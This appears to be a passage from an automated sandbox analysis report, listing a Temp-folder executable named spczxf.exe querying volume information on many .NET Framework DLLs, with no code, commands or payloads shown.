Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreeis.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsecimpl.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\netstandard.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentasklauncher.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SbsNclPerf.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelRegUI.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\sysglobl\v4.0_4.0.0.0__b03f5f7f11d50a3a\sysglobl.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Activities.Core.Presentation.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Core.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Core.Presentation.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Activities.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Activities.DurableInstancing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.DurableInstancing\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.DurableInstancing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Activities.Presentation.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.AddIn.Contract.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.AddIn.Contract\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.AddIn.Contract.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.AddIn.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.AddIn\v4.0_4.0.0.0__b77a5c561934e089\System.AddIn.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.AppContext.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.AppContext\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.AppContext.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Collections.Concurrent.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Collections.Concurrent\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Collections.Concurrent.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Collections.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Collections\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Collections.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Collections.NonGeneric.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Collections.Specialized.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Collections.Specialized\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Collections.Specialized.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ComponentModel.Annotations.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ComponentModel.Annotations\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ComponentModel.Annotations.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ComponentModel.Composition.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ComponentModel.Composition\v4.0_4.0.0.0__b77a5c561934e089\System.ComponentModel.Composition.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\system.componentmodel.composition.registration.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ComponentModel.DataAnnotations\v4.0_4.0.0.0__31bf3856ad364e35\System.ComponentModel.DataAnnotations.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ComponentModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ComponentModel\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ComponentModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ComponentModel.EventBasedAsync\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ComponentModel.EventBasedAsync.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ComponentModel.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ComponentModel.Primitives\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ComponentModel.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ComponentModel.TypeConverter.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Configuration.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Configuration.Install.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Console.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Console\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Console.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Data.Common.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Data.DataSetExtensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Entity.Design\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Entity.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Data.Entity.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Entity\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Entity.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Data.Linq.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Linq.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Data.OracleClient.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data.OracleClient\v4.0_4.0.0.0__b77a5c561934e089\System.Data.OracleClient.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data.OracleClient\v4.0_4.0.0.0__b77a5c561934e089\System.Data.OracleClient.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data.OracleClient\v4.0_4.0.0.0__b77a5c561934e089\System.Data.OracleClient.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Data.Services.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Services.Client\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Services.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Data.Services.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Services.Design\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Services.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Data.Services.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Services\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Services.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Data.SqlXml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Device.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Device\v4.0_4.0.0.0__b77a5c561934e089\System.Device.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Diagnostics.Contracts.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Diagnostics.Contracts\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Diagnostics.Contracts.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Diagnostics.Debug\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Diagnostics.Debug.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Diagnostics.FileVersionInfo.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Diagnostics.Process.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Diagnostics.Process\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Diagnostics.Process.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Diagnostics.StackTrace\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Diagnostics.StackTrace.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Diagnostics.TextWriterTraceListener.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Diagnostics.TextWriterTraceListener\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Diagnostics.TextWriterTraceListener.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Diagnostics.Tools.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Diagnostics.Tools\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Diagnostics.Tools.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Diagnostics.TraceSource.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Diagnostics.TraceSource\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Diagnostics.TraceSource.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Diagnostics.Tracing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Diagnostics.Tracing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Diagnostics.Tracing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.DirectoryServices.AccountManagement.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices.AccountManagement\v4.0_4.0.0.0__b77a5c561934e089\System.DirectoryServices.AccountManagement.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.DirectoryServices.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.DirectoryServices.Protocols.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices.Protocols\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.Protocols.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Drawing.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing.Primitives\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic.Runtime\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.Runtime.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.EnterpriseServices.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.EnterpriseServices.Thunk.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Globalization.Calendars.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Globalization.Calendars\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Globalization.Calendars.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Globalization\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Globalization.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Globalization.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IdentityModel.Selectors.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel.Selectors\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.Selectors.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IdentityModel.Services.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel.Services\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.Services.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IO.Compression.ZipFile.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.ZipFile\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.ZipFile.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IO.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.FileSystem\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.IO.FileSystem.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IO.FileSystem.DriveInfo.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.FileSystem.DriveInfo\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.IO.FileSystem.DriveInfo.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IO.FileSystem.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.FileSystem.Watcher\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.IO.FileSystem.Watcher.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.IsolatedStorage\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.IO.IsolatedStorage.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IO.Log.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Log\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.IO.Log.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IO.MemoryMappedFiles.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IO.Pipes.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Pipes\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.IO.Pipes.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IO.UnmanagedMemoryStream.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.UnmanagedMemoryStream\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.IO.UnmanagedMemoryStream.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Linq.dll VolumeInformation
